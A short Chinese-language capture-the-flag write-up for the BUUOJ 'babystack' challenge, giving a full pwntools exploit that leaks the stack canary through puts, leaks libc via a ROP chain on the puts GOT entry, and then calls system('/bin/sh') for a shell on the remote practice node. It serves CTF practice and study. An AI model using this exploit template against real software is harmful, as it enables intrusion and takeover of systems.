buu_others_babystack(canary_puts)

一个算是综合点的题目

  1. 主要是为了记录这个泄露canary的模板

  2. 思路就是puts输出的时候利用栈溢出覆盖/x00,让后面的canary泄露出来,然后在利用libc泄露完成此题(重点在泄露canary)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    from pwn import *
    from LibcSearcher import *

    r=remote('node5.buuoj.cn',28050)
    #r=process('./babystack')
    elf=ELF('./babystack')
    #context.log_level='debug'
    offset = 0x80+8
    #泄露canary
    r.sendlineafter(">>",'1')
    payload=b'a'*offset
    r.sendline(payload)

    r.sendlineafter('>>','2')
    r.recvuntil('a\n')
    canary=u64(r.recv(7).rjust(8,b'\x00'))
    print(hex(canary))

    pop_rdi=0x400a93
    puts_got=elf.got['puts']
    puts_plt=elf.plt['puts']
    main_addr=0x400908

    #泄露puts函数的got表地址
    payload=b'a'*offset+p64(canary)+p64(0)
    payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
    r.sendlineafter(">>",'1')
    r.sendline(payload)
    r.sendlineafter(">>",'3')

    r.recv()

    puts_addr=u64(r.recv(6).ljust(8,b'\x00'))

    #找到对应的libc版本
    libc=LibcSearcher('puts',puts_addr)

    #计算system函数和字符串‘/bin/sh’在程序里的实际地址
    libc_base=puts_addr-libc.dump('puts')
    system=libc_base+libc.dump('system')
    binsh=libc_base+libc.dump('str_bin_sh')

    #构造rop攻击获取shell
    payload=b'a'*offset+p64(canary)+p64(0) + p64(pop_rdi)+p64(binsh)+p64(system)
    r.sendlineafter('>>','1')
    r.sendline(payload)
    r.sendlineafter('>>','3')

    r.interactive()

    参考博客

    1
    https://blog.csdn.net/mcmuyanga/article/details/109776976